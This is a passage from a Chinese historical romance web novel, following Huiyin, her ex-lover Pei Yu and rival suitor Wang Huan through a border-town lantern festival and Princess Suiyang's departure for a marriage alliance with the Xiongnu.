徽音松开睢阳,笑道:“你不是说想在离开前再见王子邵一面吗?” 睢阳落寞的垂下眼,叹息道:“也只能想想了。” 徽音指着石亭,“过去吧,那里有你想见的人。” 睢阳不可置信的捂住唇,眼中水光涌动,声音颤抖,“他来了吗?他不怪我了吗?” 徽音有些难受的低下头,摸摸她的脸安慰,“他来了,你去见见他。” 睢阳眼中涌泪,再顾不得其他,提起裙摆往石亭的方向跑去。 徽音望着她远去的身影,无声叹息,她能做的也只有这些了。身后有人慢慢靠过来,递来一个小巧精致的博山手炉,轻声问她冷不冷。 徽音垂下眼,她接过,微凉的手掌很快就被源源不断传来的热意烘热。 裴彧:“他们二人要叙一会旧,找个地方去避避风雪罢。” 徽音垂着思考一阵,没有拒绝。 两人转身往回走,在满是雪色的庭院中,并肩而行。 裴彧:“等送殿下出关后,我派人送你回荆州,最迟三个月,我一定去荆州找你。” 徽音停下脚步,正视裴彧,“我是不会和你回长安的,你也不会为我离开长安,我们之间走不到一起了。” 裴彧沉沉的望着她,声音暗哑:“事在人为。” 徽音心中一阵无力,她这些时日已经叫裴彧折磨的没有脾气了,索性也丢开手不去想。 行至一半,徽音才发现他们走的路不对,这不是回她那处的路。 她停住脚步,“你要带我去哪?” “我那里僻静,不会有人瞧见你,也不会有人乱嚼舌根。” 徽音不想去,她今日精神不好,若非为了睢阳能和王子邵见面,她今日一定会窝在房门不出来。这冰天雪地的,待在暖房内才舒服。 她刚刚转身朝后走,才将将踏出一步就被人拦腰抱起,身体腾空。 裴彧还使坏掂了她一下,徽音身体不稳担心摔跤只能抱住他的颈部,她面无表情的盯着许久,指尖狠狠攥紧。 裴彧踢开门,内室的暖意铺面而来,驱逐了两人身上的寒意,他沉默的把徽音放在榻上,蹲跪在她身前,像是做了很多次那样,无比熟稔的哄道:“是我的错,我再也不敢了,你别生气。” 徽音闷闷的别开脸,他每次都这样说,却从来不听不改,等道将人惹生气了就麻溜的认错,叫人一拳头打在棉花上,一口气不上不下的,甚是讨厌。 她冷脸道:“你将我带来干什么?” 裴彧起身在暖炉上提来茶水,倒了杯热茶个徽音暖身,又殷勤的起身在徽音身后的榻上垫了个软枕,让她舒服的靠在上面,不经意的道:“我见你今日精神不济,想必是这些时候乘车太久筋骨不适,我近日同人学了一手推拿,你要不要试试?” 徽音心念微动,狐疑的看向,他竟然会去学那等手艺,实在是匪夷所思。 “你莫不是诳我?” 裴彧嘴角微勾,露出徽音熟悉的轻佻模样,“我敢么?” 她撇撇嘴,转身趴在软榻上,指着腰窝处,“今日起身这处很是酸软。” 裴彧抚上徽音的腰身,力道恰到好处,不轻不重的替她揉捏。 徽音舒服的闭上眼,还别说,裴彧这厮还真没说假话,手法得当,没一会儿徽音便觉得浑身疲惫散去,周身舒坦极了。 揉捏一会,裴彧突然脱鞋上榻,伸手去解徽音的外衣系带。 徽音一惊,起身防备的看着他,怒斥,“你做什么?” 裴彧双手摊开,一脸无辜,“我想给你疏通疏通筋骨,冬衣太厚不方便。” 徽音掩住衣领没发现什么不对劲,但她不可能在裴彧面前解衣,那像什么样子。她起身下榻,口气冷淡,“不必了,我已经很好了,多谢你。” 裴彧伸手握住她的手臂,整个人匍匐上去从她的腰身一路按摩至肩脊,语气蛊惑:“一路行来都在马车内,我知你身子不适,我保证不做什么,只想让你舒缓一二。” 他手法老道,不过三两下徽音便浑身发软靠在他怀中,不得不承认,确实很舒适。 马车防震做得再好,一路山路崎岖南行,她这把虚弱的身子骨早就浑身不适了。 他既愿意做这等讨好的事,自己也没必要放着福不享受。徽音重新坐了回去,双手抱臂仰着头,下巴微点裴彧,“既如此,那就试试罢。” 裴彧还是第一次见她这副高高在上跋扈的模样,心头像是烧了一把火,忍不住激荡起来。 他强忍住激动,跪在徽音两侧,双手从在她背脊上来回抚摸揉捏,不同于刚刚的触感,冬衣褪去后,那层柔软的里衣在他手下恍若无物,他甚至像是直接触碰到徽音的身体,柔软细腻。 起初非常舒适,也没什么不对劲的地方,徽音便放心的闭着眼养神,只是慢慢的,身后那双手开始作乱,总是有意无意的碰到她的敏感点,又很快的离去。 她起初只以为是不甚碰到,次数多了后便疑心起来,转头去看裴彧。 却见那人一脸认真的,眉眼都没有半分的飘忽,一心一意的替她按摩。 徽音闷闷的转头回去,难不成是她的错觉? 很快,她就知道不是了,等裴彧的手从她胸侧离开,顺着她的腰臀一路往下,徽音再也忍不住起身推开他。 她脸颊绯红,眼中水波涌动,无意识的咬着下唇,双腿蜷缩在一起,胸前随急促的呼吸上下浮动。 裴彧依旧一脸无辜,被推开后面露担忧,“你怎么了,发热了了吗?” 徽音狠狠瞪了他一眼,只是她此刻情潮翻涌,这一眼非但没有震慑作用反而多了几分勾引。 她翻身下地穿鞋,大口呼吸调整内心的波动,周身止不住的发烫,心中更是有些难耐,她清楚的知道那是什么,她并非不通人事。 从前和裴彧在一起事两人血气方刚,于房事上也极为契合,乐趣颇多。如今分开,徽音已经大半年没想过这事,今日被裴彧一勾,那些旖旎心思倒有些蠢蠢欲动起来。 她闭上眼,指尖狠狠掐进掌心,心中暗骂裴彧,就知道他没安好心。好在她还能忍住,身体虽燥热,出去吹吹冷风就能平静下来。 想到此处,徽音连忙下地穿衣要离开,不料裴彧从身后凑了上来,伏在他耳边,距离极近,近到她一侧脸便能吻上裴彧的唇。 他说:“我可以帮你。” 其中意思不言而喻,徽音单手将他脑袋扒拉开,起身冷笑:“你做梦,无耻之徒。” 她从头上拿下一雕花玉簪扔到床上,发簪落到被褥上发出沉闷的响声。 裴彧挑眉,捡起发簪在眼前端详,玉兰花苞样式,是很普通的款式。 “这是什么意思?”他问。 徽音整理好衣襟披上大氅,毫不留情的转身离去,扔下一句,“打赏。” 裴彧:……好得很,拿他当楚馆里的小倌是吧,还打赏。 —— 睢阳身体有些颤抖,她慢慢靠近那座亭,亭中人身影眼熟,她这辈子都不会忘记。 “对不起。” 王子邵浑身一震,有些僵硬的转头,终于看到了大半年没有见过的心上人。她眉眼张开了些,一身朱衣衬得她肤色极白,比从前更加好看。 就是那双素来带笑的眼睛里,此刻溢满悲伤,含着眼泪望着她,面上满是愧疚。 王子邵心口微微泛酸,为什么会愧疚呢?该愧疚的从来都不该是睢阳,应该是他才对。是他没有本事护不住心爱之人,明明再过三月,就该是他和睢阳的婚礼。 他上前一步,来到睢阳面前,颤抖的生出手,又蓦然停下,现在的他没有资格触碰公主殿下。从一开始,这门亲事就是他高攀。 “央央,你没错,无需为此自责。” 就因这一句话,睢阳再也忍不住,多日来的害怕,伤心和对未来的迷茫在此刻全部爆发,她眼中涌中豆大的泪滴,哽咽着扑向王子邵怀中。 扑向这个曾经带给她无数欢乐,让她无比安心的怀抱。 而王子邵,也紧紧抱住了睢阳的身躯。他们什么都说,彼此手臂不断缩紧,恨不得将对方嵌进自己的身体,从此永远都不分离。 王子邵:“央央,我不怪你。你往后一定要记住,凡事性命为重,不管发生任何事,保住你的性命是最要紧的,只有活着才有以后。” 王子邵最担心的,就是睢阳的性命,她是和亲公主,匈奴未必会对她下毒手。可是匈奴那个地方,处处与中原不同,风俗更是天差地别。 他担心睢阳无法接受,终日消沉,心结难消,郁郁而终。 睢阳已经哭得有些说不出话,她紧紧拽紧王子邵的衣襟,像是抓紧救命稻草般,“我知道,我都记住了。” 王子邵听出她的哭腔,再也忍不住,呜咽着低下头,埋在睢阳肩上哭泣。 —— 徽音径直出了门,她和裴彧纠缠半天,原本干净的院子里覆上一层薄薄的积雪,满天飞舞的鹅毛大雪簌簌下落,倒是难得的美景。 她走到方才和睢阳分别的地方,睢阳身影已经不见,亭中除了王子邵的身影还多了一个人,一个熟人。 徽音慢慢走过去,绣鞋踩在雪地上发出嘎吱嘎吱的声音。亭中两人听见声音转头察看,王子邵瞧见徽音到来连忙低头擦拭泪,他身边那人,正是许久不见的王寰。 王寰一身厚实的直裾深衣,并未未戴冠,面如冠玉,鼻梁挺拔如山脊,下颌线条如刀削,显得清峻而疏离。 而王子邵则不同,他眼尾漫开一抹秾丽的红,那双漂亮的眼睛里此刻空洞无神,让人不由自主为他揪心。 王子邵俯身作揖行礼,“徽音阿姊。” 王寰朝徽音微微点头,徽音走上前,徽音虚虚抬了一下王子邵的手臂,同王寰见礼,随后走到石桌前坐下,指着身侧是石凳示意他们落坐。 徽音注意到王子邵心情翻涌,先转向王寰问:“近日如何?” 王寰:“我在洛阳一切安好,倒是你,可好?” 徽音笑道:“你我之间就不说这些虚的了,我是想问你怎么在这里。” 王寰看了一眼发愣的王子邵,无奈道:“你放心不下殿下,我自然也放心不下他。” 徽音闻言点点头,又问王子邵:“你与殿下谈得如何?” 王子邵沉默良久,眼眶湿润,“她祝愿我早觅良人。” 徽音微不可察的叹息一句,她亦心疼睢阳和王子邵有情人分开,只是事已至此,叫他们临行前再见一面,也算不留遗憾了。 徽音看想王寰,眸光微动。王寰什么也没问,起身走到亭外,留他们两人单独叙话。 徽音看着王子邵红肿的眼皮,心中微微一叹,她知道现在同王子邵说这些很不该,可再不说,只怕没有机会了。 徽音:“你可只广陵公主对你有意?” 王子邵那张俊朗的面容神色突变,不可置信的抬头,“阿姊,你再说什么?” “我并非信口开河,虽无实证,但此事应当不假。甚至睢阳此次和亲,也许与郑家也脱不了干系。” 王子邵怒而起身,双臂撑在石桌上,神色难看,“难道是因为我,睢阳才” 徽音摇摇头,“睢阳和亲因素很多,并非因为你。我今日同你说此话也没有的别的意思,广陵此人骄纵,想要什么都会使手段得到,如今睢阳和亲,你无婚约再身,她也许会对你下手。” “她如今虽已和镇南王世子成亲,世子痴傻,陛下本就对她有愧,郑妃又宠她,难保她日后不会做些什么。” 王子邵抬手遮住眼眶,清澈的泪珠从他手指缝隙滴落在地,转瞬间化为水迹。 他咬牙道:“我知阿姊的意思,你放心,我绝不会如她的意。” 徽音得了这句承诺也放了心,她并非是要求王子邵什么,只是觉得若广陵染指睢阳曾经的未婚夫,那也太令人恶心了。 这世上怎么会事事如她的意。 她起身拍拍了王子邵的肩膀,“回去吧,明日公主就要出关了。” “我想送她出关,可以吗?” 王子邵抬起头,瑰丽的眼睛里涌着泪,声音乞求。 徽音面露不忍,说不出拒绝的话,她也算是看着王子邵长大的,少年从来的纵情肆意大笑,何曾有过如今的脆弱难受。 “你远远的跟着,不要露面。” “多谢阿姊。” 既有叙完话,徽音也不再多留起身离开,睢阳那边还不知道境况如何,她得回去看看。 才出亭中,便瞧见王寰望着她,徽音走上前,面容有些沉默。 王寰见状安慰:“若得你促成他们两人相见一事,将内心的情愫说开,只怕两人都要抱憾终身了。” 徽音神情依旧低落:“只可惜……”可惜什么,她没有说完,不必言语,王寰便懂。 他动了动嘴唇,想要说些安慰的话,可他自己都求不得,如何有立场。 他忍不住上前,想要拍拍我徽音,刚抬起的手臂僵直住,只因他前方不远处,有一个人正目光沉沉的望着他们的方向,神情极冷。 徽音察觉到王寰异常,顺着他视线的方向望去,只见裴彧披着一件玄黑色镶边大氅,神情苍白,漆黑的眼珠一动不动的盯着她。 她微微皱眉,避开裴彧直勾勾的视线,他这副样子,让她莫名的不适。 王寰从头到尾看清了徽音面上的表情,他们二人之间的发生了什么他一清二楚,正因为清楚,所以才会跟着来代郡。 王寰垂眼,平静道:“可要我帮你?” 帮什么呢,自然是帮她甩掉裴彧。徽音有些迟疑,她和王寰有旧,甚至有些数不清道不明的关系,而裴彧也知晓。 若是利用王寰,说不定真能让裴彧死心。 良久,她叹气道:“再看看罢。” —— 徽音回到住宿,屋内伺候的婢女全部都等在屋外,一脸担忧。睢阳的乳母,那位素来面容严厉的嬷嬷亦是如此。 见徽音回来,她好似松了口气,上前问:“宋女郎,殿下和您出去一趟,回来便将自己关在屋子里,谁也不让进。” 徽音看着紧闭的门窗,挥手让婢女们都散了,看着面前忧虑的嬷嬷,她轻声道:“让她一个人安静的待会罢,有些事情,是能她自己想通。” 又过了许久,睢阳终于愿意打开门,让人给她准备吃食,徽音走进去,瞧见睢阳怏怏的匍匐在软榻上,双眼红肿不堪,像极了小兔子红眼。 她坐过去,轻抚睢阳的头顶,无声安慰。睢阳感受到徽音的到来,静静地靠过去,趴在徽音膝上,喃喃道:“我……以为我放下了……可我一见他……” 徽音无声听着她抽泣,听着睢阳回忆起和王子邵的点点滴滴,她好似进入了故事里,跟着他们一起感同身受。不知不觉,她也流下泪。 她知道那些安慰的话苍白无力,而睢阳这样坚韧果决也无需她的安慰只需要安静的陪着她就好。 很快,睢阳就从刚刚迷茫的样子里清醒过来,可徽音瞧着却更心疼,她更喜欢睢阳还是从前那个无忧无虑的小公主。 徽音陪着她用了会饭,郡守夫人着人递来了一个口信说是明日除夕夜,代郡街道不会宵禁,会有除夕灯会,问她们二人可愿意去看看,凑凑热闹。 睢阳提不起兴趣,徽音也对着灯会没有什么想法,但她不喜欢睢阳这样一直不开心下去,想着带她出去散散心,便应下了。 郡守夫人很热情,很快就派人送来了一个本地的婢女给她们引路,还有一些上好的衣裳首饰。 徽音只想带着睢阳单独出去散散心,便没有让人声张,反正这代郡是军事重地,屯有重兵,还有睢阳身边的那些侍卫,遇不上什么危险。 只是令她没有想到的事,那三人也得到了消息,不约而同的也去了灯会。 第72章 公主和亲。 暮色降临, 代郡城头积雪泛着幽幽冷光,城池内却是一片灯火通明。巍巍城墙上,每隔数十丈, 便有戍卒点燃丈余高的竹灯。 市集上面铺设一条各式各样的花灯,整个城池热闹非凡, 杂戏,孩童举着陶豚灯奔跑,大街被照得恍如白昼,万千灯彩几乎要灼伤人的眼睛, 耳边全是嘈杂的嬉闹声。 徽音牵着睢阳走在大街上,两人隐在人群中, 身后跟着几名打扮普通的侍卫。身边混杂着女儿家衣袂间飘出的暖香、刚出炉的胡饼的焦香, 以及人群中蒸腾出的那份热烘烘的生气。 “刚出锅的粉团,甜蜜煞人!” “借过, 借过!莫碰翻了我的兔子灯!” 徽音牵着睢阳一路来到一处杂戏摊子前停留,睢阳满眼都是兴奋,她自出生就没有见过这样热闹的实市集灯会,往常都是在宫中赴宴,观看歌舞等。这是她第一次参加民间的灯会, 整个人都兴奋不已。 “阿姊, 我好喜欢这里!” 徽音转头看向睢阳, 压下心底的惆怅, 高兴道:“我猜你从前应是没有见过这些的。” 睢阳摇摇头, 望着天边一盏接一盏是花灯, 眸中星火璀璨:“我很小的见过一次的,那时母后带我出宫小住,王家夫人和王子邵也在, 是他带我去的。” 徽音不想勾起睢阳的伤心往事,拉着往前走,一面给她介绍代郡这边的风俗。逛了一会儿后,睢阳略显疲惫,徽音便带着她就近找了一间食肆落脚歇息。 徽音点了一桌代郡的特色菜,一道羌煮貊炙,羌煮便是一个铜锅涮肉,将新鲜的鹿肉,羊肉在沸腾的肉汤中瞬间烫熟,貊炙则是整只烤羊或猪,外皮烤得焦香酥脆,内部肉质鲜嫩。 除此之外还有一道豉汁羊肋,肥美的羊肋排与浓稠的豆豉酱汁一同放入陶釜中慢火炖煮,咸香十足。 “尝尝,这些在长安吃不到。” 两人在食肆二楼用着饭,街道突然传来一阵更热烈的欢呼声,压过所有嘈杂。徽音探头望去,是城中的巡游仪仗来了。 这是代郡的风俗,除夕夜游街,前方开路的并非兵卒,而是踩着高跷的八仙,每人手中提一盏巨型人物灯,光芒万丈,身后跟着看热闹的人群。 人群中,有两个容貌出众的郎君缓步其中,惹得街上路过的少女争相偷看。但见其身后跟着几名健壮仆从,衣着配饰华贵,一看便知是出身较好的世家郎君,众女也只是偷看,不敢上前。 那两人,正是刚到代郡都城的王寰和王子邵,王寰见王子邵闷闷不乐,做什么都提不起精神,听闻今日有灯会,便想着带他出来散散心。 更何况,他得到消息,徽音今日也带着睢阳出来,他没有刻意去打听她们两人的行踪,想着就带着王子邵在城中闲逛,若是遇上,便是缘分。 王子邵听着耳边的欢声笑语,心中的苦涩更甚了些,他苦笑着抬头,目光突然凝住,不远处的二楼食肆,坐着一个熟悉的人影。 那人身着一件宝蓝色曲裾袍,发髻以玳瑁梳与素色巾帛共同固定,耳悬两颗品相极好的玉珠,领口边缘露出一圈柔软的白色羊羔毛。 她还是和从前一样,生着一张未语先笑的圆脸,颊上泛着红晕,教人看了便想轻轻一掐。眉眼弯弯,天生便是一副欢喜模样,那双眸子最是动人。 许是被人打趣得狠了,她鼓起腮帮,扭过头去,那故作生气的模样,反倒比笑时更添三分稚气的可爱。 王寰见王子邵良久不动,跟着他的目光望去,唇边浮起一抹淡淡的笑容,还真是缘分。 他问:“要过去吗?” 王子邵上前一步,身体又蓦然停止不前,眼中浮现挣扎。他知道,他现在最应该的就是远离睢阳,不让她再见自己,免得想起那些伤心往事。更何况,和亲势在必行,他屡屡出现,只会搅动睢阳的心,让她越来越痛苦。 王子邵强迫自己转身,他咬牙摇头:“不去打扰她了,让她安安静静的过完这最后几天吧。” 王寰轻叹,眼中闪过不忍之色,但终究什么都没有,与这件事上,他和徽音已经尽力了,剩下的只能靠他们自己。 两人本想当做见过就此转身离去,谁料睢阳的侍卫先一步到来,拦住两人的去路,“殿下说,相逢即是缘,请两人郎君上前一叙。” 王寰若有所思的看向食肆,窗前坐着的两人已经不见踪影,取而代之的是两个陌生郎君。他收回眼神,发觉不远处走来两个女郎。 睢阳的打扮与方才有些不同,许是外面寒冷,她肩上多了一件石青色素面羔羊皮斗篷。 而她身边的徽音,一身豆绿色菱纹罗裙,外罩一件月白色狐裘半臂。她今日难得盛装打扮,额间点了一颗朱砂痣,宛如雪地里唯一的红梅。 那双眉毛生得极好,不画而黛,像雨后的远山。鼻梁挺秀,线条如工笔勾勒,唇是浅淡的樱粉色,总是微微抿着,仿佛锁着无数未与人言的心事。 发间缠绕着一串细小浑圆的珍珠发带,斜插一支翠鸟羽毛点染的步摇。几缕散发垂在颈侧,更衬得那段脖颈修长,耳垂上坠着的一对珍珠耳珰纹丝不动,只在她侧首时,才流转过一道温润的,月华似的光。 王寰心念微动,他很早就知道徽音容貌之盛,只是宋家出事后,她身在孝期,打扮简朴,不施脂粉。今日乍见她如此,他甚至有些微微愣神。 徽音和睢阳停在王寰两人神情,王寰有些失态的垂下眼,平复呼吸后拱手向睢阳行礼。 睢阳却没看他,而是看向一旁默然不语行礼的王子邵,半响才回:“起来吧。” 徽音见气氛沉默,开口解围:“遇上了,便一起逛逛吧,这代郡的灯会与长安有些不同。” 其他三人都没有异议,是以四人一起朝热闹之地而去,徽音和睢阳走在前面,王寰和王子邵落后一步。 徽音看着一见王子邵就沉默的睢阳,再看看从头到尾没有视线离开过睢阳神身上的王子邵,有些头疼。 她原本是想着最后这几日带睢阳好好逛逛代郡城,叫她和王子邵不再见面,心中能安定些。没想到睢阳见了王子邵便走不动,无奈之下只能由着,对于睢阳,她实在是说不出拒绝的话。 一路上只有徽音和王寰偶尔说两句话,另外两人一言不发,徽音心中微微叹息,眸光一转,拉着睢阳停下,笑道:“既是灯会,当然要猜灯谜。” 城东最繁华的街口,一座巨大的鳌山灯楼下,悬满了五彩纸条,这里正是代郡最大的酒楼设下的灯谜擂。二楼屋檐之下,悬挂着一盏盏精美的花灯。 其中有一盏瑞兽仙居灯,灯顶饰以青铜铸造的朱雀展翅造型,美轮美奂,随风轻转。 一旁的酒楼老板见四人气度容貌不凡,猜测是跟随和亲队伍来此地的长安贵族,连忙带着笑意上前,“问郎君女郎安,郎君女郎可是对这灯谜感兴趣啊?” 徽音见睢阳眼睛不眨的盯着上头那盏花灯,明白她甚是喜欢,闻言接话道:“老板,你这些花灯要如何才能取走?” 酒楼老板:“连续对满五道灯谜即可!” 徽音扫了一眼木牌上的灯谜,心中有数,只不过她回头看了看面色苍白的王子邵,到底是没有开口说话。 睢阳按捺不住的上前取过一块木牌,轻念出声:“明月当空人尽仰,打一字。” 她歪着头陷入沉思,一旁的王子邵终于上前,缓缓接过睢阳手中的木牌,答道:“昂。” 酒楼老板拍手道:“答对了!这位郎君看着年纪轻轻,学问倒是不小,请您接着对下一道。” 睢阳睫毛轻颤,没有拒绝他的靠近,手掌慢慢移开,取下另一块木牌。一个念一个答。 “有口难言,有耳偏听。” “亚。” “一边绿,一边红,一边喜雨,一边喜风。” “秋。” “上头去下头,下头去上头,两头去中间,中间去两头。” “至。” …… 很快,五道谜底皆答对出来,酒楼老板一脸笑意的指着花灯对睢阳道:“这位女郎,现在你可以挑选花灯了。” 睢阳抬眼看了一下王子邵,轻咬下唇,眼中似有光芒涌动,“你替我选吧。” 王子邵上前,抬手指向那盏瑞兽灯,睢阳从酒楼老板手中接过那盏的灯,万分珍爱,她就知道,王子邵一定会选到她喜欢的那盏。 徽音看着睢阳终于露出的笑颜,松了一口气,她今日就是带着睢阳出门散心的,若是让她更加不开心,那可就不好了。 睢阳回过来头来看徽音,琥珀般的眸子仿佛会说话般。徽音微微点头,看着睢阳和王子邵两人慢慢走远。 耳边突然有一阵细小的热流,是王寰倾身靠近她耳边,问:“你可有喜欢的灯,我帮你拿下。” 徽音眉头轻皱,想要退开两步,却被王寰按住肩膀,示意她往旁边瞧。 有一人立于煌煌灯火之外,一身玄色缯裘,裘袍领缘以暗金丝线绣着繁复的夔龙纹,在光影流转间若隐若现。眉眼深邃,鼻梁高挺,眼中的深色像化不开的浓墨。 徽音淡淡收回视线,想要推开的脚步没动,她转头看着王寰,展颜道:“好啊,我要那盏洛书九宫格灯。” 但见眉眼弯弯,那双眸子仿佛将满城灯火与天上星辰都揉碎在内,流光溢彩,亮得惊心动魄。这一笑,明艳张扬,似牡丹倾国,刹那间周遭所有的光影与声响都黯然消退,只剩她那张笑颜。 王寰再次被猝不及防的晃了神,他有些狼狈的移开眼,喉结涌动,“……好。” 这些灯谜对于王寰而言轻而易举,很快,那盏洛书九宫格灯便被王寰捧到徽音面前。 徽音低头望着王寰手中的花灯,灯体为标准的九宫格造型,以黑漆木为框架,每一格上都蒙着可旋转的薄牛骨片,骨片上以阴阳刻技法雕出从一到九的圆点。 她正要伸手接过来,却被身后的脚步声打断。徽音和王寰同时望去,只见裴彧手中提着一盏莲花灯,停在两人身前。 他手中那盏莲花灯工艺粗糙,造型和普通淡粉荷花别无二致,在这灯会中,普通无比,更遑论与那盏洛书九宫格灯相比。 王寰见裴彧到来,握灯的手掌缩紧,有些尖锐的问:“裴将军为何在此处?” 裴彧瞥了王寰一眼,面无表情回道:“你能在此,我为何不能在此?” 王寰失笑,倒是没在问什么,而是将手中的花灯递给徽音,却在中途被人拦下。 裴彧无视王寰,望着徽音缓缓道出:“在这代郡有一个风俗,男女若是有倾慕之人,便可送一盏花灯送给对方,对方若是接受,便等同于接受送灯之人的钦慕。” 他说完,举起手中那盏粗糙的莲花灯,抿唇道:“这是我亲手所做,虽有些简陋,但我日后会多学学。” 他顿了顿,看了眼王寰手中的洛书九宫格灯,郑重道:“日后我再送你一盏灯,必不必这盏差。” 王寰倒是没有想过这送花灯还有如此来历,不过裴彧都将内情说了出来,他自然也不会退却。 两人皆举起手上的花灯递到徽音面前,等待她的挑选,目光沉沉的望着她,心中紧张至极。 徽音垂眼,那盏灯做工实在是差劲,许是动手之人平时根本不会这些精细活,能做出这样一盏已是极限。 她视线扫过裴彧手上的细小伤痕,缓缓抬手,接过了王寰手中,笑道:“我很喜欢这盏,谢谢你。” 虽然徽音接过了王寰的花灯,可他心中却没有半分愉悦畅快。王寰看着裴彧惨白的脸色,心中无奈,徽音此举,乃是意在裴彧。 “时候不早了,我们回吧。” 徽音说完这句,没给裴彧半分眼神,和王寰并肩离去。 裴彧看着两人异常登对的身影,慢慢捏碎了手中的莲花灯,尖利的竹刺将他手掌扎得鲜血直流,十指连心,他却没有办法痛意。 裴彧死死的盯着两人离去的方向,心中如同破了一个大洞,呼呼漏风,将他的心脏撕扯得支离破碎。他不介意颜昀章,因为徽音和颜昀章成婚并非喜欢他,而是为了宋家。 可王寰却不同,徽音是喜欢他的。 —— 朔风卷着雪沫,掠过代郡斑驳的城墙。这一日,没有鼓乐,没有喧哗,只有一种被沉重的寂静。 送嫁的队伍像一条玄色的河流,静静地停在城门洞开处。卫士们执戟而立,铁甲上凝着霜,他们的脸庞在晨光中如同石刻,目光平视着北方苍茫的原野,不敢去看那辆华贵的驷马安车。 车帘被一只素白的手缓缓掀开。 赵央,封号睢阳,她面容缓缓出现在人前,并未身着繁复的吉服,只穿了一袭深青色的曲裾深衣,宽大的衣袖在风中猎猎作响。 她没有看身后的大汉河山,目光缓缓扫过送行的官员与戍卒。那些饱经风霜的边军脸上,有一种她从未在长安见过的、混合着怜悯、敬佩与耻辱的复杂神情。 徽音的马车停在城门口不远处,她和裴彧只能送出关,由鸿胪寺的人护送公主至草原腹部与匈奴单于成礼。 她坐在马车内,正午的太阳照在人身上暖烘烘的,今日的天气格外好,艳阳高照。她望着公主仪架心口沉甸甸的,睢阳此一去,也许此生都没有再回来的一日,这也许是两人最后的一面。 徽音看着仪架上睢阳强颜欢笑的模样,不忍再看下去。余光瞥见不远处的人群中隐着一个熟悉的面容,是王子邵。 他随着人群随波逐流,一双眼却紧紧盯着睢阳的身影不肯移开,彷佛是要将她的面容刻进心里。 很快,鸿胪寺的官员就下令整顿,即可出发,徽音看见裴彧骑马来到睢阳车架旁,同睢阳低声说了几句话后,睢阳探出头朝她的方向看了一眼,然后挥手和徽音告别。 徽音忍不住流泪,探出车头朝她朝手。周围送行的百姓也看见着一幕,纷纷涌着车架向外走,口中高呼:“公主殿下,保重啊!” 他们心中都清楚,公主和亲是为了边境安稳,是她为他们这些人挡住了匈奴的铁骑,免去他们骨肉分离,家破人亡的惨状。 睢阳坐在车内,听着外头的不舍告别,眼泪止不住的往下流,如果说她刚刚还有一丝不舍,此刻听着外头一声声的保重,彻底放下了个人情丝,她受万民供奉景仰长大,现在该是她来回报的时候,用她一人换取家国短暂的安宁,这是她的使命。 徽音没有让人跟着车架出城,她遥遥望着那长长的队伍,泪滴随风散落,很多时候,很多事情,都是身不由己。 “看什么,快走!” 一声怒喝打断徽音的思绪,她蹙着眉头去看,身侧的街道上走过一批人,领头的两人衣饰周正,手中攥着长鞭不断鞭打身后的人。他身后,是一批被绳索困住,衣衫褴褛的人。 他们皆发丝散乱看不清面容,但有男有女,有老有少,看起来像是边境贩卖奴隶的贩子。 唰唰又是两辫,最左边的女子被抽打在地痛呼出声,她身后一个少年身量的男子扑在她身上替她挡住接下来的两鞭子,清亮的眼睛恶狠狠的盯着奴隶贩子。 奴隶贩子搓了下手,狠狠啐了一声,“看什么看,再看把你们眼珠子挖了!那可是公主仪仗,也是你们能肖想的!” 徽音皱着眉头,那倒地的女子衣衫褴褛,大片肌肤外露,已经惹得周边不少男子的放肆打量。 奴隶贩子挥舞了两下手中的辫子,怒斥道:“赶紧滚起来,耽误了老子赚钱,抽死你们。” 徽音在他们经过的时候敲敲车窗,出声拦住他们,“你这些多少钱,我买了?” 奴隶贩子听闻嗤笑出声,“哪里来的娘们这么大口气。” 他抬起头去看,就在前方华贵的两架的马车内坐着以为容貌卓绝,气度不凡的女郎,身边还有几名威风凛凛的带风护卫守着。 意思到自己真碰见贵人了,奴隶头子连忙朝嘴巴扇了良心,讨饶道:“小的两眼不识泰山,得罪女郎,还请您勿怪。” 徽音眉眼未动分豪,再次复述:“你这些人,多少银钱?” 奴隶贩子搓搓手,讨好的笑笑,比出一个五的手势。 颜娘见状问:“五金?” 奴隶贩子笑出一口牙,“哪能呐,是五十金。” 颜娘顿时皱眉,这些人面黄肌瘦,浑身是伤,买回去还得治伤教规矩,世家大族才瞧不上这样的奴隶。莫说五十金,就是五金她都嫌贵。 她转头看向徽音,面上满是不赞同之色。“女郎,我们马上就要回荆州了,这些奴隶与我们没甚么用处。” 徽音心中有数,她抬手制止颜娘的劝阻,指着马车前的带刀侍卫对那奴隶贩子说道:“我知道你们也是做生意,不过你这个价格太过虚高,我按市价买下你这全部的奴仆,免去你今日的叫卖力气,你看如何?” 奴隶贩子飞快同身后的同伴对视一眼,他们这些货本就是次等,最低价都并不一定有人买,更别说那几个年迈的已经在他一个月没卖出去了,还浪费他不少口粮。 如今愿意有人全部买了去,他自然是愿意的,只不过还想多多赚点。奴隶贩子试探的开口:“您看二十金如何?” 徽音莞尔一笑,拉下车帘,“我不要了。” “别,女郎等等,女郎等等!”奴隶贩子连忙叫停徽音,“就按您说的来。” 人交割完后,徽音望着一片沉默带伤的人叹息一声,她并非真的缺奴仆,只是看见睢阳出关心中有些不好受,又撞上这些人受苦,难免动了恻隐之心。 “你们当中若有想离去的尽管离去,没有地方可去的,可愿跟着我南下?” 她此话一处,那些奴隶互相对视两眼,不敢相信她的话。 徽音再度说了一遍,方才那倒地被鞭打的一男一女互相搀扶上前,说要去投奔亲戚。 徽音只觉得的这二人与其他人有些不同,五官似乎更加深邃一点,她没有过多追究,让颜娘跟了一点银钱就放他们离去了。 其他人见状也纷纷上前说要离去,最后只剩一个年迈的瞎眼老头和一个面容有碍的小女孩无处可去,徽音便带着他们二人回了太守府。 回去后,她便吩咐颜娘开始收拾行囊,等裴彧回来后,她就打算告辞离去。 王寰和王子邵他们也要回长安,正好跟她一个方向,一起出发一路上还能有个照应。 第73章 他卑劣的拿宋景川的下落…… 裴彧似乎也知道徽音要同他告别一事, 直到夜幕降临他才风尘仆仆的回太守府。 他回来时,徽音正坐在窗前吃热锅,小炉将香醇浓厚的骨汤烧得咕咕作响, 旁边放着新鲜的生烫肉和时蔬,上腾的热气遮住徽音的眉眼。 她透过雾帘看去, 裴彧浑身失意,素来上扬的眉间下垂,身影孤寂的站在院门口。这是自那日灯会后,两人见的第一面。 这几日来, 裴彧并未在她面前现身,徽音知道, 他是被那日她接过王寰花灯一事给伤着了。 她低头喝了口热骨汤, 平静的吩咐颜娘去将人请进来。 若是平时,她绝不会和裴彧同桌用饭, 只是今日睢阳出关,两人心情不渝,加之,这也许是她和裴彧吃的最后一顿饭了。 裴彧落坐后,徽音将伺候的人都遣了下去, 亲自替裴彧盛了碗汤, 